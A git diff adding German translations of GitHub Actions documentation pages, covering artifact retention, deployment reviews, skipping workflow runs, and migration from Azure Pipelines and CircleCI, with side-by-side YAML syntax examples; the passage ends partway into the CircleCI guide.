+Aufbewahrungszeiträume für Artefakte und Protokolle können auf Repository-, Organisations- und Unternehmensebene konfiguriert werden. Weitere Informationen findest du unter {% ifversion fpt or ghec or ghes %}[Nutzungseinschränkungen, Abrechnung und Verwaltung](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy).{% elsif ghae %}[Verwalten von Einstellungen für {% data variables.product.prodname_actions %} für ein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository), [Konfigurieren der Aufbewahrungsdauer für {% data variables.product.prodname_actions %} für Artefakte und Protokolle in deiner Organisation](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization), oder [Erzwingen von Richtlinien für {% data variables.product.prodname_actions %} in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise).{% endif %}
+
+Du kannst außerdem eine eigene Aufbewahrungsdauer für einzelne Artefakte festlegen, indem du die `actions/upload-artifact`-Aktion in einem Workflow verwendest. Weitere Informationen findest du unter [Speichern von Workflowdaten als Artefakte](/actions/guides/storing-workflow-data-as-artifacts#configuring-a-custom-artifact-retention-period).
+
+## Suchen des Ablaufdatums eines Artefakts
+
+Du kannst mithilfe der API das geplante Datum für die Löschung eines Artefakts bestätigen. Weitere Informationen findest du im `expires_at`-Wert, der beim [Auflisten von Artefakten für ein Repository](/rest/reference/actions#artifacts) zurückgegeben wird.
diff --git a/translations/de-DE/content/actions/managing-workflow-runs/reviewing-deployments.md b/translations/de-DE/content/actions/managing-workflow-runs/reviewing-deployments.md
new file mode 100644
index 0000000000..8e5642c953
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-workflow-runs/reviewing-deployments.md
@@ -0,0 +1,32 @@
+---
+title: Überprüfen von Bereitstellungen
+intro: 'Du kannst Aufträge genehmigen oder ablehnen, die auf die Überprüfung warten.'
+product: '{% data reusables.gated-features.environments %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 6a01d89c0ad5355bd5e6774b1bdf5f19dd471df2
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147718101'
+---
+## Informationen zu erforderlichen Überprüfungen in Workflows
+
+Aufträge, die auf eine Umgebung verweisen, die mit erforderlichen Reviewern konfiguriert wurde, warten auf eine Genehmigung, bevor sie gestartet werden. Während ein Auftrag auf die Genehmigung wartet, hat er den Status „Warten“. Wenn ein Auftrag innerhalb von 30 Tagen nicht genehmigt wird, wird die Workflowausführung automatisch abgebrochen.
+
+Weitere Informationen zu Umgebungen und erforderlichen Genehmigungen findest du unter [Verwenden von Umgebungen für die Bereitstellung](/actions/deployment/using-environments-for-deployment). Informationen zum Überprüfen von Bereitstellungen mit der REST-API findest du unter [Workflowausführungen](/rest/reference/actions#workflow-runs).
+
+## Genehmigen oder Ablehnen eines Auftrags
+
+1. Navigiere zu der Workflowausführung, die eine Überprüfung erfordert. Weitere Informationen zum Navigieren zu einer Workflowausführung findest du unter [Anzeigen des Ausführungsverlaufs eines Workflows](/actions/managing-workflow-runs/viewing-workflow-run-history).
+2. Klicke auf **Bereitstellungen überprüfen**. 
+   ![Überprüfen von Bereitstellungen](/assets/images/actions-review-deployments.png).
+3. Wähle die Auftragsumgebung(en) aus, die genehmigt oder abgelehnt werden soll(en). Hinterlasse optional einen Kommentar.
+   ![Genehmigen von Bereitstellungen](/assets/images/actions-approve-deployments.png)
+4. Genehmigen oder ablehnen:
+   - Um den Auftrag zu genehmigen, klicke auf **Genehmigen und bereitstellen**. Sobald ein Auftrag genehmigt wurde (und alle anderen Umgebungsschutzregeln eingehalten wurden), wird der Auftrag fortgesetzt. An diesem Punkt kann der Auftrag auf alle Geheimnisse zugreifen, die in der Umgebung gespeichert sind.
+   - Klicke auf **Ablehnen**, um den Auftrag abzulehnen. Wenn ein Auftrag abgelehnt wird, tritt beim Workflow ein Fehler auf.
diff --git a/translations/de-DE/content/actions/managing-workflow-runs/skipping-workflow-runs.md b/translations/de-DE/content/actions/managing-workflow-runs/skipping-workflow-runs.md
new file mode 100644
index 0000000000..5b06270571
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-workflow-runs/skipping-workflow-runs.md
@@ -0,0 +1,45 @@
+---
+title: Überspringen von Workflowausführungen
+intro: 'Du kannst Workflowausführungen, die durch die Ereignisse `push` und `pull_request` ausgelöst werden, überspringen, indem du einen Befehl in deine Commitnachricht einfügst.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Skip workflow runs
+ms.openlocfilehash: 32808741dc6de5aacd79f51c9ba098324a3ee57c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146199970'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+{% note %}
+
+**Hinweis:** Wenn ein Workflow aufgrund von [Pfadfilterung](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore), [Branchfilterung](/actions/using-workflows/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore) oder einer Commitnachricht (siehe unten) übersprungen wird, verbleiben diesem Workflow zugeordnete Überprüfungen im Status „Ausstehend“. Ein Pull Request, bei dem diese Prüfungen erfolgreich sein müssen, wird vom Mergen ausgeschlossen.
+
+{% endnote %}
+
+Workflows, die andernfalls mit `on: push` oder `on: pull_request` ausgelöst würden, werden nicht ausgelöst, wenn du eine der folgenden Zeichenfolgen an die Commitnachricht in einem Push oder an den HEAD-Commit eines Pull Requests anfügst:
+
+* `[skip ci]`
+* `[ci skip]`
+* `[no ci]`
+* `[skip actions]`
+* `[actions skip]`
+
+Alternativ kannst du die Commitnachricht auch mit zwei leeren Zeilen beenden, gefolgt von einem dieser beiden Elemente:
+- `skip-checks:true`
+- `skip-checks: true`
+
+Du kannst den Pull Request nicht mergen, wenn dein Repository so konfiguriert ist, dass zuerst bestimmte Prüfungen bestanden werden müssen. Um das Mergen des Pull Requests zuzulassen, kannst du einen neuen Commit an den Pull Request pushen, der keine skip-Anweisung in der Commitnachricht enthält.
+
+{% note %}
+
+**Hinweis:** Die skip-Anweisungen gelten nur für die Ereignisse `push` und `pull_request`. Wenn du zum Beispiel einer Commitnachricht `[skip ci]` hinzufügst, wird dadurch nicht die Ausführung eines Workflows beendet, der mit `on: pull_request_target` ausgelöst wird.
+
+{% endnote %}
+
+skip-Anweisungen gelten nur für Workflowausführungen, die durch den Commit ausgelöst würden, der die skip-Anweisungen enthält. Du kannst die Ausführung eines Workflows auch deaktivieren. Weitere Informationen findest du unter [Deaktivieren und Aktivieren eines Workflows](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow).
diff --git a/translations/de-DE/content/actions/migrating-to-github-actions/index.md b/translations/de-DE/content/actions/migrating-to-github-actions/index.md
new file mode 100644
index 0000000000..c2e6e70284
--- /dev/null
+++ b/translations/de-DE/content/actions/migrating-to-github-actions/index.md
@@ -0,0 +1,27 @@
+---
+title: Zu GitHub-Aktionen migrieren
+shortTitle: Migrate to GitHub Actions
+intro: 'Erfahre, wie du deine vorhandenen CI/CD-Workflows zu {% data variables.product.prodname_actions %} migrierst.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+redirect_from:
+  - /actions/migrating-to-github-actions
+  - /articles/migrating-github-actions-from-hcl-syntax-to-yaml-syntax
+children:
+  - /automating-migration-with-github-actions-importer
+  - /migrating-from-azure-pipelines-to-github-actions
+  - /migrating-from-circleci-to-github-actions
+  - /migrating-from-gitlab-cicd-to-github-actions
+  - /migrating-from-jenkins-to-github-actions
+  - /migrating-from-travis-ci-to-github-actions
+ms.openlocfilehash: b3964e3e477a61052b241dfb3d2d02ebecbf96c5
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148158933'
+---
+
diff --git a/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md b/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
new file mode 100644
index 0000000000..b9c24400c4
--- /dev/null
+++ b/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
@@ -0,0 +1,339 @@
+---
+title: Von Azure-Pipelines zu GitHub-Aktionen migrieren
+intro: '{% data variables.product.prodname_actions %} und Azure-Pipelines haben mehrere Ähnlichkeiten in der Konfiguration, was die Migration zu {% data variables.product.prodname_actions %} relativ einfach macht.'
+redirect_from:
+  - /actions/learn-github-actions/migrating-from-azure-pipelines-to-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Azure Pipelines
+  - Migration
+  - CI
+  - CD
+shortTitle: Migrate from Azure Pipelines
+ms.openlocfilehash: 5890afb4c0f0e8eae6b5981a39e68f272bff7440
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107248'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Azure-Pipelines und {% data variables.product.prodname_actions %} ermöglichen es Dir, Workflows zu erstellen, die automatisch Code bauen, testen, publizieren, freigeben und bereitstellen. Azure-Pipelines und {% data variables.product.prodname_actions %} haben einige Ähnlichkeiten in der Workflow-Konfiguration:
+
+- Workflow-Konfigurationsdateien werden in YAML geschrieben und im Code-Repository gespeichert.
+- Workflows umfassen einen oder mehrere Jobs.
+- Jobs beinhalten einen oder mehrere Schritte oder einzelne Befehle.
+- Schritte oder Aufgaben können wiederverwendet und in der Community gemeinsam genutzt werden.
+
+Weitere Informationen findest du unter [Kernkonzepte für {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions).
+
+## Wichtige Unterschiede
+
+Bei der Migration von Azure-Pipelines sollten die folgenden Unterschiede beachtet werden:
+
+- Azure Pipelines unterstützt einen veralteten _klassischen Editor_, mit dem du deine CI-Konfiguration in einem GUI-Editor definieren kannst, anstatt die Pipelinedefinition in einer YAML-Datei zu erstellen. {% data variables.product.prodname_actions %} verwendet YAML-Dateien, um Workflows zu definieren, und unterstützt keinen grafischen Editor.
+- Azure Pipelines erlaubt Dir, einige Strukturen in Job-Definitionen zu weglassen. Wenn Du zum Beispiel nur einen einzigen Job hast, brauchst Du den Job an sich nicht zu definieren, sondern nur seine Schritte. {% data variables.product.prodname_actions %} erfordert eine explizite Konfiguration und die YAML-Struktur kann nicht weggelassen werden.
+- Azure Pipelines unterstützt _Phasen_, die in der YAML-Datei definiert sind und zum Erstellen von Bereitstellungsworkflows verwendet werden können. {% data variables.product.prodname_actions %} erfordert, die Phasen in separate YAML-Workflowdateien zu aufzuteilen.
+- Bei Azure-Pipelines können lokale Build-Agenten nach Funktionalität ausgewählt werden. Bei {% data variables.product.prodname_actions %} können selbst-gehostete Runner nach Labels ausgewählt werden.
+
+## Jobs und Schritte migrieren
+
+Jobs und Schritte in Azure-Pipelines sind sehr ähnlich zu Jobs und Schritten in {% data variables.product.prodname_actions %}. In beiden Systemen haben Jobs folgende Merkmale:
+
+* Jobs enthalten eine Reihe von Schritten, die nacheinander ausgeführt werden.
+* Jobs laufen auf separaten virtuellen Maschinen oder in separaten Containern.
+* Jobs werden standardmäßig parallel ausgeführt, können aber so konfiguriert werden, dass sie sequentiell laufen.
+
+## Skriptschritte migrieren
+
+Du kannst in einem Workflow ein Skript oder einen Shell-Befehl als Schritt ausführen. In Azure Pipelines können Skriptschritte mit dem Schlüssel `script` oder mit den Schlüsseln `bash`, `powershell` oder `pwsh` angegeben werden. Skripts können außerdem als Eingabe für die [Bash-Aufgabe](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/bash?view=azure-devops) oder die [PowerShell-Aufgabe](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/powershell?view=azure-devops) angegeben werden.
+
+In {% data variables.product.prodname_actions %} sind alle Skripts mit dem Schlüssel `run` spezifiziert. Um eine bestimmte Shell auszuwählen, kannst du bei der Bereitstellung des Skripts den Schlüssel `shell` angeben. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun).
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table class="d-block">
+<tr>
+<th>
+Azure Pipelines
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+jobs:
+  - job: scripts
+    pool:
+      vmImage: 'windows-latest'
+    steps:
+      - script: echo "This step runs in the default shell"
+      - bash: echo "This step runs in bash"
+      - pwsh: Write-Host "This step runs in PowerShell Core"
+      - task: PowerShell@2
+        inputs:
+          script: Write-Host "This step runs in PowerShell"
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+jobs:
+  scripts:
+    runs-on: windows-latest
+    steps:
+      - run: echo "This step runs in the default shell"
+      - run: echo "This step runs in bash"
+        shell: bash
+      - run: Write-Host "This step runs in PowerShell Core"
+        shell: pwsh
+      - run: Write-Host "This step runs in PowerShell"
+        shell: powershell
+```
+{% endraw %}
+</td>
+</tr>
+</table>
+
+## Unterschiede in der Behandlung von Skriptfehlern
+
+In Azure Pipelines können Skripts so konfiguriert werden, dass ein Fehler ausgegeben wird, wenn eine Ausgabe an `stderr` gesendet wird. {% data variables.product.prodname_actions %} unterstützt diese Konfiguration nicht.
+
+{% data variables.product.prodname_actions %} konfiguriert Shells zum "schnellen Scheitern" wann immer möglich , was das Skript sofort beendet, wenn einer der Befehle in einem Skript mit einem Fehlercode endet. Im Gegensatz dazu erfordern Azure-Pipelines explizite Konfiguration, um bei einem Fehler sofort abzubrechen. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference).
+
+## Unterschiede in der Standard-Shell unter Windows
+
+In Azure Pipelines ist die Standardshell für Skripts auf Windows-Plattformen die Befehlsshell (_cmd.exe_). In {% data variables.product.prodname_actions %} ist die Standard-Shell für Skripte auf Windows-Plattformen die PowerShell. PowerShell hat mehrere Unterschiede in internen Befehlen, Auswertung von Variablen und Flusssteuerung.
+
+Wenn Du einen einfachen Befehl ausführst, kannst Du in PowerShell möglicherweise ein Skript der Command Shell ohne Änderungen laufen lassen. Aber in den meisten Fällen musst Du entweder Dein Skript zur Syntax der PowerShell aktualisieren oder {% data variables.product.prodname_actions %} anweisen, das Skript mit der Command Shell statt mit PowerShell auszuführen. Dazu kannst du `shell` als `cmd` angeben.
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table class="d-block">
+<tr>
+<th>
+Azure Pipelines
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+jobs:
+  - job: run_command
+    pool:
+      vmImage: 'windows-latest'
+    steps:
+      - script: echo "This step runs in CMD on Windows by default"
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+jobs:
+  run_command:
+    runs-on: windows-latest
+    steps:
+      - run: echo "This step runs in PowerShell on Windows by default"
+      - run: echo "This step runs in CMD on Windows explicitly"
+        shell: cmd
+```
+{% endraw %}
+</td>
+</tr>
+</table>
+
+Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell).
+
+## Syntax für Bedingungen und Ausdrücke migrieren
+
+Sowohl Azure-Pipelines als auch {% data variables.product.prodname_actions %} können Schritte bedingt ausführen. In Azure Pipelines werden bedingte Ausdrücke mit dem Schlüssel `condition` angegeben. In {% data variables.product.prodname_actions %} werden bedingte Ausdrücke mit dem Schlüssel `if` angegeben.
+
+Azure-Pipelines verwenden Funktionen innerhalb von Ausdrücken, um Schritte bedingt auszuführen. Im Gegensatz dazu verwenden {% data variables.product.prodname_actions %} eine Infix-Notation. Zum Beispiel musst du die Funktion `eq` in Azure Pipelines in {% data variables.product.prodname_actions %} durch den Operator `==` ersetzen.
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table class="d-block">
+<tr>
+<th>
+Azure Pipelines
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+jobs:
+  - job: conditional
+    pool:
+      vmImage: 'ubuntu-latest'
+    steps:
+      - script: echo "This step runs with str equals 'ABC' and num equals 123"
+        condition: and(eq(variables.str, 'ABC'), eq(variables.num, 123))
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+jobs:
+  conditional:
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo "This step runs with str equals 'ABC' and num equals 123"
+        if: ${{ env.str == 'ABC' && env.num == 123 }}
+```
+{% endraw %}
+</td>
+</tr>
+</table>
+
+Weitere Informationen findest du unter [Ausdrücke](/actions/learn-github-actions/expressions).
+
+## Abhängigkeiten zwischen Jobs
+
+Sowohl bei Azure-Pipelines als auch bei {% data variables.product.prodname_actions %} kannst Du Abhängigkeiten für einen Job festlegen. In beiden Systemen laufen Jobs standardmäßig parallel, aber Jobabhängigkeiten können explizit angegeben werden. In Azure Pipelines wird dies mit dem Schlüssel `dependsOn` gemacht. In {% data variables.product.prodname_actions %} wird dafür der Schlüssel `needs` verwendet.
+
+Nachfolgend ein Beispiel für die Syntax in jedem System. Die Workflows starten einen ersten Auftrag namens `initial`, und wenn dieser abgeschlossen ist, werden zwei Aufträge namens `fanout1` und `fanout2` ausgeführt. Wenn diese Aufträge abgeschlossen sind, wird der Auftrag `fanin` ausgeführt.
+
+<table class="d-block">
+<tr>
+<th>
+Azure Pipelines
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+jobs:
+  - job: initial
+    pool:
+      vmImage: 'ubuntu-latest'
+    steps:
+      - script: echo "This job will be run first."
+  - job: fanout1
+    pool:
+      vmImage: 'ubuntu-latest'
+    dependsOn: initial
+    steps:
+      - script: echo "This job will run after the initial job, in parallel with fanout2."
+  - job: fanout2
+    pool:
+      vmImage: 'ubuntu-latest'
+    dependsOn: initial
+    steps:
+      - script: echo "This job will run after the initial job, in parallel with fanout1."
+  - job: fanin:
+    pool:
+      vmImage: 'ubuntu-latest'
+    dependsOn: [fanout1, fanout2]
+    steps:
+      - script: echo "This job will run after fanout1 and fanout2 have finished."
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+jobs:
+  initial:
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo "This job will be run first."
+  fanout1:
+    runs-on: ubuntu-latest
+    needs: initial
+    steps:
+      - run: echo "This job will run after the initial job, in parallel with fanout2."
+  fanout2:
+    runs-on: ubuntu-latest
+    needs: initial
+    steps:
+      - run: echo "This job will run after the initial job, in parallel with fanout1."
+  fanin:
+    runs-on: ubuntu-latest
+    needs: [fanout1, fanout2]
+    steps:
+      - run: echo "This job will run after fanout1 and fanout2 have finished."
+```
+{% endraw %}
+</td>
+</tr>
+</table>
+
+Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds).
+
+## „Tasks“ (Aufgaben) zu Aktionen migrieren
+
+Azure Pipelines verwendet _Aufgaben_. Hierbei handelt es sich um Anwendungskomponenten, die in mehreren Workflows wiederverwendet werden können. {% data variables.product.prodname_actions %} verwendet _Aktionen_, mit denen du Aufgaben ausführen und deinen Workflow anpassen kannst. In beiden Systemen kannst Du den Namen der zu ausführenden Aufgabe oder Aktion sowie alle erforderlichen Eingaben als Schlüssel/Wert-Paare angeben.
+
+Nachfolgend ein Beispiel für die Syntax in jedem System:
+
+<table>
+<tr>
+<th>
+Azure Pipelines
+</th>
+<th>
+{% data variables.product.prodname_actions %}
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+jobs:
+  - job: run_python
+    pool:
+      vmImage: 'ubuntu-latest'
+    steps:
+      - task: UsePythonVersion@0
+        inputs:
+          versionSpec: '3.7'
+          architecture: 'x64'
+      - script: python script.py
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+
+```yaml
+jobs:
+  run_python:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-setup-python %}
+        with:
+          python-version: '3.7'
+          architecture: 'x64'
+      - run: python script.py
+```
+
+</td>
+</tr>
+</table>
+
+Aktionen, die du in deinem Workflow verwenden kannst, findest du in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), oder du kannst deine eigenen Aktionen erstellen. Weitere Informationen findest du unter [Erstellen von Aktionen](/actions/creating-actions).
diff --git a/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md b/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
new file mode 100644
index 0000000000..6002910bc1
--- /dev/null
+++ b/translations/de-DE/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
@@ -0,0 +1,422 @@
+---
+title: Von CircleCI zu GitHub-Aktionen migrieren
+intro: 'GitHub Actions und CircleCI weisen mehrere Ähnlichkeiten in Bezug auf die Konfiguration auf, was die Migration zu GitHub Actions relativ einfach macht.'
+redirect_from:
+  - /actions/learn-github-actions/migrating-from-circleci-to-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CircleCI
+  - Migration
+  - CI
+  - CD
+shortTitle: Migrate from CircleCI
+ms.openlocfilehash: d3f7a527f21588ec2bd60e04639a861c35b12b7f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147518968'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+CircleCI und {% data variables.product.prodname_actions %} ermöglichen es Dir, Workflows zu erstellen, die Code automatisch bauen, testen, veröffentlichen, freigeben und bereitstellen. CircleCI und {% data variables.product.prodname_actions %} haben einige Ähnlichkeiten in der Workflow-Konfiguration:
+
+- Workflow-Konfigurationsdateien werden in YAML geschrieben und im Repository gespeichert.
+- Workflows umfassen einen oder mehrere Jobs.
+- Jobs beinhalten einen oder mehrere Schritte oder einzelne Befehle.
+- Schritte oder Aufgaben können wiederverwendet und in der Community gemeinsam genutzt werden.
+
+Weitere Informationen findest du unter [Kernkonzepte für {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions).
+
+## Wesentliche Unterschiede
+
+Betrachte bei der Migration von CircleCI folgende Unterschiede:
+
+- Die automatische Testparallelität des CircleCI gruppiert die Tests automatisch nach benutzerdefinierten Regeln oder historischen Zeitinformationen. Diese Funktionalität ist in {% data variables.product.prodname_actions %} nicht eingebaut.
+- Aktionen, die in Docker-Containern ausgeführt werden, sind sensibel für Berechtigungsprobleme, da Container eine andere Zuordnung von Benutzern haben. Viele dieser Probleme lassen sich vermeiden, indem die `USER`-Anweisung nicht in *Dockerfile* verwendet wird. {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %} {% else %}Weitere Informationen zum Docker-Dateisystem auf {% data variables.product.product_name %}-gehosteten Runnern findest du unter [Informationen zu {% data variables.product.prodname_dotcom %}-gehosteten Runnern](/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem).
+{% endif %}
+
+## Workflows und Jobs migrieren
+
+Bei CircleCI werden Workflows (`workflows`) in der Datei *config.yml* definiert. Dadurch lassen sich mehrere Workflows konfigurieren. Da {% data variables.product.product_name %} eine Workflowdatei pro Workflow benötigt, müssen keine Workflows (`workflows`) deklariert werden. Für jeden in *config.yml* konfigurierten Workflow muss eine neue Workflowdatei erstellt werden.
+
+Sowohl bei CircleCI als auch bei {% data variables.product.prodname_actions %} werden Aufträge (`jobs`) in der Konfigurationsdatei mit einer ähnlichen Syntax konfiguriert. Wenn du Abhängigkeiten zwischen Aufträgen mithilfe von `requires` in deinem CircleCI-Workflow konfigurierst, kannst du die entsprechende `needs`-Syntax von {% data variables.product.prodname_actions %} verwenden. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds).
+
+## „Orbs“ (Gestirne) zu Aktionen migrieren
+
+Sowohl CircleCI als auch {% data variables.product.prodname_actions %} bieten einen Mechanismus, um Aufgaben in einem Workflow wiederzuverwenden und weiterzugeben. CircleCI verwendet ein Konzept namens „Orbs“ (Gestirne), das in YAML geschrieben ist, um Aufgaben bereitzustellen, die man in einem Workflow wiederverwenden kann. {% data variables.product.prodname_actions %} hat mächtige und flexible wiederverwendbare Komponenten namens Aktionen, die man entweder mit JavaScript-Dateien oder mit Docker-Images erstellt. Um Aktionen zu erstellen, kannst du eigenen Code schreiben, der mit deinem Repository auf die gewünschte Weise interagiert und dabei beispielsweise in die APIs von {% data variables.product.product_name %} und beliebige öffentlich zugänglichen Drittanbieter-APIs integriert. Beispielsweise kann eine Aktion npm-Module veröffentlichen, SMS-Warnungen senden, wenn dringende Probleme erstellt werden, oder produktionsbereiten Code bereitstellen. Weitere Informationen findest du unter [Erstellen von Aktionen](/actions/creating-actions).
+
+CircleCI kann Workflows mit YAML-Ankern und Aliasen wiederverwenden. {% data variables.product.prodname_actions %} unterstützt die gängigsten Anforderungen im Hinblick auf die Wiederverwendbarkeit durch den Einsatz von Matrizen. Weitere Informationen zu Matrizen findest du unter [Verwenden einer Matrix für deine Aufträge](/actions/using-jobs/using-a-matrix-for-your-jobs).
+
+## Docker-Images verwenden
+
+
+Sowohl CircleCI als auch {% data variables.product.prodname_actions %} können Schritte innerhalb eines Docker-Images ausführen.
+
+CircleCI stellt eine Reihe von vordefinierten Images mit üblichen Abhängigkeiten zur Verfügung. Bei diesen Images ist `USER` auf `circleci` festgelegt. Dies führt zu Berechtigungskonflikten mit {% data variables.product.prodname_actions %}.
+
+Wir empfehlen Dir, von vordefinierten CircleCI-Images zu wegzugehen, wenn du zu {% data variables.product.prodname_actions %} migrierst. In vielen Fällen kannst du die zusätzlich benötigten Abhängigkeiten mithilfe von Aktionen installieren.
+
+{% ifversion ghae %} Weitere Informationen zum Docker-Dateisystem findest du unter [Dateisystem von Docker-Containern](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem).
+
+{% data reusables.actions.self-hosted-runners-software %} {% else %} Weitere Informationen zum Docker-Dateisystem findest du unter [Informationen zu {% data variables.product.prodname_dotcom %}-gehosteten Runnern](/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem).
+
+Weitere Informationen zu den Tools und Paketen, die in {% data variables.product.prodname_dotcom %}-gehosteten Runner-Images verfügbar sind, findest du unter [Spezifikationen für {% data variables.product.prodname_dotcom %}-gehostete Runner](/actions/reference/specifications-for-github-hosted-runners/#supported-software).
+{% endif %}
+
+## Variablen und Geheimnisse verwenden
+
+CircleCI und {% data variables.product.prodname_actions %} unterstützen das Setzen von Umgebungsvariablen in der Konfigurationsdatei und das Erstellen von Geheimnissen mit der Benutzeroberfläche von entweder CircleCI oder {% data variables.product.product_name %}.
+
+Weitere Informationen findest du unter [Verwenden von Umgebungsvariablen](/actions/configuring-and-managing-workflows/using-environment-variables) und [Erstellen und Verwenden von verschlüsselten Geheimnissen](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets).
+
+## Zwischenspeicherung
+
+CircleCI und {% data variables.product.prodname_actions %} bieten in der Konfigurationsdatei eine Methode an, um Dateien manuell im Cache zwischenzuspeichern.
+
+{% ifversion actions-caching %}
+
+Nachfolgend ein Beispiel für die Syntax in jedem System.
+
+<table class="d-block">
+<tr>
+<th>
+CircleCI
+</th>
+<th>
+GitHub-Aktionen
+</th>
+</tr>
+<tr>
+<td class="d-table-cell v-align-top">
+{% raw %}
+```yaml
+- restore_cache:
+    keys:
+      - v1-npm-deps-{{ checksum "package-lock.json" }}
+      - v1-npm-deps-
+```
+{% endraw %}
+</td>
+<td class="d-table-cell v-align-top">
+
+```yaml
+- name: Cache node modules
+  uses: {% data reusables.actions.action-cache %}
+  with:
+    path: ~/.npm
+    key: {% raw %}v1-npm-deps-${{ hashFiles('**/package-lock.json') }}{% endraw %}
+    restore-keys: v1-npm-deps-
+```
+
+</td>
+</tr>
+</table>
+
+{% else %}
+
+{% data reusables.actions.caching-availability %}
+
+{% endif %}
+
+{% data variables.product.prodname_actions %} hat kein Äquivalent zum „Docker Layer Caching“ („DLC“, im Cache auf Docker-Ebene zwischenspeichern).
+
+## Daten zwischen Jobs persistieren
+
